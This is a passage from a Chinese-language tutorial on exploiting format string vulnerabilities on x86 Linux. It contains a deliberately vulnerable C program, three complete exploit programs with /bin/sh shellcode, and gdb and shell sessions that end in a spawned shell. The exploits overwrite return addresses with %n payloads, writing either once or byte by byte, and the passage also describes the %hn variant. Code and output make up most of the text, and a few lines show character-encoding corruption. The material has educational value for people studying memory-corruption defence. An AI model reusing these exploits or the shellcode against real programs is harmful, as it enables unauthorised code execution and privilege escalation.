Locals at 0xbffff6d8, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffff6d8, eip at 0xbffff6dc ----> OK,存放eip的地址是0xbffff6dc
(gdb)
好的,既然现在我们已经知道了RETloc的地址,就让我们运行一下我们的攻击程序看看吧:
[root@rh62 /root]# ./x 0xbffff6dc
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0xbffff6dc
Using Shellcode address: 0xbffffb08
argv[1] = AA荟?.10u%.10u%.10u%.10u%.3221224144u%n
Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
<....>
#0 0x42 in ?? ()
(gdb) bt
#0 0x42 in ?? ()
(gdb) x/x 0xbffff6dc
0xbffff6dc: 0x00000042
(gdb)
很可惜,并没有看到令人激动的#号提示符。看起来0xbffffb08的长度不能被正确的打印出来,
根据测试,至少大于0x90000000的长度都不能正确显示,具体原因还有待研究。感兴趣的读者
可以自行分析一下。为了得到一个可以工作的版本,我们改动一下vul.c和exp.c:
<- begin -> vul1.c
#include <stdarg.h>
#include <unistd.h>
#include <syslog.h>
#define BUFSIZE 1024
char egg[BUFSIZE];
int log(int level, char *fmt,...)
{
char buf[BUFSIZE];
va_list ap;
va_start(ap, fmt);
vsnprintf(buf, sizeof(buf)-1, fmt, ap);
buf[BUFSIZE-1] = '\0';
syslog(level, "[hmm]: %s", buf);
va_end(ap);
}
int main(int argc, char **argv)
{
char buf[BUFSIZE];
int i,num;
if(getenv("EGG")) {
/* 我们将环境EGG的内容复制到一个全局buffer里,
* 而这个buffer的起始地址是0x80xxxxx,它可以被正确显示
*/
strncpy(egg, getenv("EGG"), BUFSIZE-1);
egg[BUFSIZE-1] = '\0';
}
num = argc ;
if(argc > 1) {
for ( i = 1 ; i < num ; i ++ ) {
snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);
buf[BUFSIZE-1] = '\0';
log(LOG_ALERT, buf); // 这里有问题
printf("argv[%d] = %s \n", i, argv[i]);
}
}
}
<- end ->
<- begin -> exp1.c
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_ALIGNMENT 2
#define DEFAULT_RETLOC 0xbffffadc
#define DEFAULT_SHELLADDR 0x8049800 //我们的shellcode地址在Heap/BSS段
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 1024
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
char *env[2];
long retloc = DEFAULT_RETLOC;
long shell_addr = DEFAULT_SHELLADDR;
int align = DEFAULT_ALIGNMENT;
int bsize = DEFAULT_BUFFER_SIZE, eggsize = DEFAULT_EGG_SIZE;
int i;
if (argc > 1) sscanf(argv[1],"%x",&retloc);
if (argc > 2) sscanf(argv[2],"%x",&shell_addr);
if (argc > 3) align = atoi(argv[3]);
if (argc > 4) bsize = atoi(argv[4]);
if (argc > 5) eggsize = atoi(argv[5]);
printf("Usages: %s <RETloc> <SHELL_addr> <align><buffsize> <eggsize>\n",argv[0]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
printf("Using RET location address: %#x\n", retloc);
printf("Using Shellcode address: %#x\n", shell_addr);
ptr = buff;
memset(buff,'A',4);
i = align;
buff[i] = retloc & 0x000000ff;
buff[i+1] = (retloc & 0x0000ff00) >> 8;
buff[i+2] = (retloc & 0x00ff0000) >> 16;
buff[i+3] = (retloc & 0xff000000) >> 24;
ptr = buff + i + 4;
for(i = 0 ; i < 4 ; i++ )
{
memcpy(ptr, "%.10u", 5);
ptr += 5;
}
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
env[0] = egg ;
env[1] = (char *)0 ;
execle("./vul1","vul1",buff,NULL,env);
} /* end of main */
<- end ->
这里唯一改变的就是shellcode的地址指向了Heap/BSS区,它通常在内存区域的低端:
0x8000000以后的地址,这个地址将可以被正确显示,因此就可以正确的覆盖main()的
返回地址,并跳到那里去执行我们的shellcode.这个地址的获取,也可以通过gdb跟踪
得到,这里不再赘述。
[root@rh62 /root]# ./exp1 0xbffffadc 0x8049800
Usages: ./exp1 <RETloc> <SHELL_addr> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffadc
Using Shellcode address: 0x8049800
argv[1] = AA茭?.10u%.10u%.10u%.10u%.134518728u%n
bash#
很好,成功了!注意在得到#号提示符前,通常需要等待几秒钟,这是因为显示0x8049800
个字符也是颇需要一段时间的.(当然,结果并没有显示在标准输出上) :-)
<2> 攻击方法二:多次覆盖返回地址(1)
====================================
上面的程序只能在RedHat 6.2这样的系统上成功,在RedHat 6.1下它是不能成功的。原因
前面已经提到了。那么是不是在RedHat 6.1下就没有办法了呢?并不是这样的,只要我们动
一下脑筋,就会发现由于这个问题程序自身的特点颐窃赗edHat 6.1下也可以成功的进行
攻击。我们看到问题程序vul.c会显示并记录所有用户输入的参数,而制约我们的攻击程序的
因素就是显示的长度,那么如果我们不显示那么さ哪谌荩瑅snprintf()是可以正常工作的:
AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
我们首先想到的时候如何减小shell_addr的值。如果我们将一个shell_addr分成四部分:
shell_addr = (SH1 << 24) + (SH2 << 16) + (SH3 <<8) + SH4
例如,假设在RETloc这个地址中保存有返回地址0x44332211,我们想将这个0x44332211换成
存放shellcode的地址:0xbffffcec,那么我们所对应的SH1,SH2,SH3,SH4就分别是:
SH1 = 0xbf
SH2 = 0xff
SH3 = 0xfc
SH4 = 0xec
我们所要做的就是依次将这四个地址存入RETloc,RETloc+1,RETloc+2,RETloc+3中去,也就是:
AA|RETloc |%.10u%.10u%.10u%.10u%.(SH4-4*10-16)u|%n
AA|RETloc+1|%.10u%.10u%.10u%.10u%.(SH3-4*10-16)u|%n
AA|RETloc+2|%.10u%.10u%.10u%.10u%.(SH2-4*10-16)u|%n
AA|RETloc+3|%.10u%.10u%.10u%.10u%.(SH1-4*10-16)u|%n
注意:我们考虑的是Intel x86的系统,因此,排列顺序是反序的
下图可以让你更清楚的看到每一次覆盖后的变化:
RETloc RETloc+1 RETloc+2 RETloc+3
|0x11 | 0x22 | 0x33 |0x44| 原来存放的地址: 0x44332211
|0xec | 0x00 | 0x00 |0x00| 第一次覆盖SH4: 0x000000ec
|0xec | 0xfc | 0x00 |0x00| 0x00| 第二次覆盖SH3: 0x0000fcec
|0xec | 0xfc | 0xff |0x00| 0x00| 0x00| 第三次覆盖SH2: 0x00fffcec
|0xec | 0xfc | 0xff |0xbf| 0x00| 0x00| 0x00| 第四次覆盖SH1: 0xbffffcec
需要特别注意的是:这样四次覆盖之后,将导致原来存放函数参数的地址内容被清零,
例如RETloc+4,RETloc+5,RETloc+6等处,如果该函数在覆盖以后仍然需要访问这几个参
数,可能会导致函数不能正常退出,特别是一些极端依赖函数参数的情况下。
另外一个问题是程序是否允许你连续四次进行覆盖,如果只能覆盖一次,也不能达到我们
的目的,不过我们看到我们的问题程序是会循环从main()的参数中读取并调用log()子函数
,那么我们只要提供四个命令行参数就可以进行四次覆盖了。
<- begin -> exp2.c
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 500
#define DEFAULT_ALIGNMENT 2
#define DEFAULT_RETLOC 0xbffffa6c
#define DEFAULT_BUFFER_SIZE 128
#define DEFAULT_EGG_SIZE 1024
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
main(int argc, char *argv[]) {
char *buff[4], *ptr, *egg;
char *env[2];
long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;
int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;
int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;
int i,j;
if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) align = atoi(argv[3]);
if (argc > 4) bsize = atoi(argv[4]);
if (argc > 5) eggsize = atoi(argv[5]);
printf("Usages: %s <RETloc> <offset> <align><buffsize> <eggsize>\n",argv[0]);
for(i = 0 ; i < 4 ; i++ ) {
if (!(buff[i] = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
printf("Using RET location address: 0x%x\n", retloc);
shell_addr = get_esp() + offset; /* 计算shellcocde所在的地址 */
printf("Using Shellcode address: 0x%x\n", shell_addr);
for(j = 0; j < 4 ; j++) {
ptr = buff[j];
memset(ptr,'A',4);
ptr += align;
(*ptr++) = retloc & 0x000000ff; /* 填充retloc */
(*ptr++) = (retloc & 0x0000ff00) >> 8;
(*ptr++) = (retloc & 0x00ff0000) >> 16;
(*ptr++) = (retloc & 0xff000000) >> 24;
retloc++; /* retloc地址后移一个字节,以便进行下一次覆盖 */
for(i = 0 ; i < 4 ; i++ )
{
memcpy(ptr, "%.10u", 5); /* 输入格式串,调整%n所对应的位置 */
ptr += 5;
}
tmpaddr = (shell_addr >> j*8 ) & 0xff; /* 计算SHj */
if(tmpaddr > 56 ) /* 计算最后一个%nu中的n值 */
sprintf(ptr, "%%.%uu%%n", tmpaddr - 56);
else
sprintf(ptr, "%%.%uu%%n", 1);
}
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
env[0] = egg ;
env[1] = (char *)0 ;
execle("./vul","vul",buff[0],buff[1],buff[2],buff[3],NULL,env);
} /* end of main */
<- end ->
[root@rh62 /root]# ./exp2
Usages: ./exp2 <RETloc> <offset> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffa6c
Using Shellcode address: 0xbffffcec
argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n
argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n
argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n
argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n
bash#
注意我们上面的exp2.c中在计算最后一个%.nu时存在一些问题,如果
0 < (tmpaddr - 56) < 10 ,那么%.(tmpaddr-56)u 所显示的长度可能不等于(tmpaddr-56)
,同样如果tmpaddr <= 56 ,那么我们的shellcode的地址就会有偏差,幸运的是,由于我们
的shellcode是存放在环境变量中,它通常在堆栈的高端,地址通常是0xbffff???,只有地址
的最低一个字节才可能出现上面所讲的两种情况,而如果我们的shellcode前面填充了一些
NOP指令的话,那么我们的shellcode地址就有一个范围,只要落在这个范围内,都可以执行
我们的shellcode,因此只要我们在这一段地址内选择一个有效的地址就可以了。
这个程序在RedHat 6.1和RedHat 6.2下都验证通过。
<3> 攻击方法三:多次覆盖返回地址(2)
======================================
有读者可能会说,这个程序的成功依赖于我们可以连续进行四次覆盖。如果只给我们一次
机会,是不是就不行了呢?其实,还有一种方法可以完成我们的任务。基本思路也是分四次
来覆盖,只不过通过一个*printf()就可以完成了,考虑下列这种情况:
|AARET1|AAAARET2|AAAARET3|AAAARET4|%c...%c|%n1c%n|%n2c%n|%n3c%n|%n4c%n
^ ^ ^ ^ | | | |
| | | |_________________|______|______|______|
| | |__________________________|______|______|
| |___________________________________|______|
|____________________________________________|
我们使用四个%n,它们会依次将4个显示长度保存到对应的地址去。我们如果调整%c的个数,
使第一个%n对应RET1,第二个%n对应RET2,第三个%n对应RET3,第四个%n对应RET4,那么我
们就成功了一半了。当然我们要让:
RET1 = RETloc
RET2 = RETloc + 1
RET3 = RETloc + 2
RET4 = RETloc + 3
n1 = SH4 - 1*4 - 12 - 4 - 8*3
(1*4是4个%c显示的长度,12是"AA"再加上前面的"argv[.."的长度,4是RET1长度,8*3是后
面三组"AAAARET"的长度)
n2 = SH3 - SH4
n3 = SH2 - SH3
n4 = SH1 - SH2
这样,在碰到第一个%n时,显示总长度就是SH4,碰到第二个%n时,显示总长度就是 SH3,依
此类推。
注意:由于SH1通常等于0xbf(如果是在堆栈中的话),而SH2通常等于0xff,SH1<SH2,
因此我们给SH1加上一个大数0x0100,让它变成0x01BF,这样在进行第四次覆盖的时候:
会将RETloc+4变成0x01,但这通常并不会造成大的影响,RETloc+3仍然被正确的改成了0xbf
RETloc RETloc+1 RETloc+2 RETloc+3
|0xec | 0xfc | 0xff |0xbf| 0x01| 0x00| 0x00| 第四次覆盖SH1: 0xbffffcec
因此,我们让n4 = 0x0100 + SH1 - SH2
另外我们的程序中没有使用%.nu的格式而是采用了%nc, 这是因为%nc可以更加准确的决定
我们的显示长度,只要n>0,显示长度总是精确的等于n,这就为我们的计算带来了很大的方
便。(注意不能使用%.nc的格式,这不起作用) 不过%nc会使用空格来填充空白部分,如果
应用程序将空格作为分隔符来解释时,可能会出问题。
<- begin -> exp3.c
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 550
#define DEFAULT_ALIGNMENT 2
#define DEFAULT_RETLOC 0xbffffabc
#define DEFAULT_BUFFER_SIZE 128
#define DEFAULT_EGG_SIZE 1024
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
char *env[2];
long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;
int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;
int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;
int i,SH1,SH2,SH3,SH4,oldSH4;
if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) align = atoi(argv[3]);
if (argc > 4) bsize = atoi(argv[4]);
if (argc > 5) eggsize = atoi(argv[5]);
printf("Usages: %s <RETloc> <offset> <align><buffsize> <eggsize>\n",argv[0]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
printf("Using RET location address: 0x%x\n", retloc);
shell_addr = get_esp() + offset; /* 计算shellcocde所在的地址 */
printf("Using Shellcode address: 0x%x\n", shell_addr);
SH1 = (shell_addr >> 24) & 0xff;
SH2 = (shell_addr >> 16) & 0xff;
SH3 = (shell_addr >> 8) & 0xff;
SH4 = (shell_addr >> 0) & 0xff;
/* 如果SH4小于44,我们就增大它的值,让它等于44 + 1,以免出现负值 */
if( (SH4 - 4 - 12 - 4 - 8*3) <= 0) {
oldSH4 = SH4;
SH4 = 4 + 12 + 4 + 8*3 + 1;
printf("Using New Shellcode address: 0x%x\n", shell_addr+SH4-oldSH4);
}
ptr = buff;
for (i = 0; i <4 ; i++, retloc++ ){
memset(ptr,'A',4);
ptr += 4 ;
(*ptr++) = retloc & 0xff; /* 填充retloc+n (n= 0,1,2,3) */
(*ptr++) = (retloc >> 8 ) & 0xff ;
(*ptr++) = (retloc >> 16 ) & 0xff ;
(*ptr++) = (retloc >> 24 ) & 0xff ;
}
for(i = 0 ; i < 4 ; i++ )
{
memcpy(ptr, "%c", 2); /* 输入格式串,调整%n所对应的位置 */
ptr += 2;
}
/* "输入"我们的shellcode地址 */
sprintf(ptr, "%%%uc%%n%%%uc%%n%%%uc%%n%%%uc%%n",(SH4 - 4 - 12 - 4 - 8*3),
(SH3 - SH4),(SH2 - SH3),(0x0100 + SH1 - SH2) );
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
env[0] = egg ;
env[1] = (char *)0 ;
execle("./vul","vul",buff + align, NULL,env);
} /* end of main */
<- end ->
验证一下:
[warning3@rh62 format]$ ./exp3
Usages: ./exp3 <RETloc> <offset> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffabc
Using Shellcode address: 0xbffffcfa
argv[1] = AA贱緼AAA晋緼AAA菌緼AAA窥?c%c%c%c%206c%n%2c%n%3c%n%192c%n
bash$ id
uid=500(warning3) gid=500(warning3) groups=500(warning3)
这个程序在redhat 6.1和redhat 6.2下均验证通过
<4> 攻击方法三:多次覆盖返回地址(利用%hn)
=========================================
在drow的statd-toy.c中又提供了一种方法:利用%hn,它会覆盖一个字的高16位:
main()
{
int a=0x41414141;
printf("a=%#x%hn\n",a,&a);
printf("a=%#x\n",a);
}
[warning3@redhat-6 wuftp]$ ./aa
a=0x41414141
a=0x4141000c
<....>用gdb看一下:
(gdb) b 5
Breakpoint 1 at 0x80483ea: file aa.c, line 5.
(gdb) r
Starting program: /home/warning3/wuftp/./aa
a=0x41414141
Breakpoint 1, main () at aa.c:5
5 printf("a=%#x\n",a);
(gdb) p &a
$1 = (int *) 0xbffffcb4
(gdb) x/4b 0xbffffcb4
0xbffffcb4: 0x0c 0x00 0x41 0x41
因此我们只要覆盖两次就可以了,具体的方法和前面相似,有兴趣的读者可以自行测试一下。
这种方法的好处是我们不会覆盖多余的地址,它只覆盖指定地址的两个字节内容!
综合上面的几种方法,我们会看到第三和第四种方法是最通用的,可以适用于各种情况。第
一种和第二种都有其自己的局限性,更多的依赖于应用程序自身的特点。
不过这几种方法都由一个局限,就是必须非常精确的给定存放返回地址的地址:retloc,错一
个字节也不行。这使攻击的成功率大打折扣。回忆一下原来的普通exploit为什么容易成功,
是因为它通常使用一串返回地址来填充堆栈,只要能覆盖返回地址retloc就可以了,并不需要
知道retloc确切的值。而这里,我们必须精确指定retloc,将shellcode地址直接填充到返回地
址中去。而由于retloc的大小和用户环境变量等因素有很大关系,往往不是很确定,不是那么
容易就一次成功的。那么如果我们能够指定一串retloc,retloc+4,retloc+8...,分别将
shellcode地址存到这些地址去,那么我们不就可以增大成功的把握了吗?利用第4种方法,使
很容易做到这一点的。具体的操作有兴趣的读者可以自行测试,也可以与我联系。
另外,%n并不仅仅局限于用来覆盖返回地址,也可以用来覆盖某些保存的数据,比如保存
的uid,gid等等。
结束语
========
这种格式化串导致的溢出问题,虽然看起来比较复杂,实际上只要程序员在书写应用程序
时稍加注意,是完全可以避免的。看来粗心真的是安全的大敌。:-) 由于时间仓促,文中
错疏之处难免,敬请批评指正。
参考文献
==========
[1] <<Format Bugs: What are they, Where did they come from,.........
How to exploit them>> , lamagra (lamagra@digibel.org)
[2] <<Remote shell via Qpopper2.53>> , prizm (prizm@resentment.org)
[3] <<More info on format bugs>>, Pascal Bouchareine [ kalou <pb@grolier.fr> ]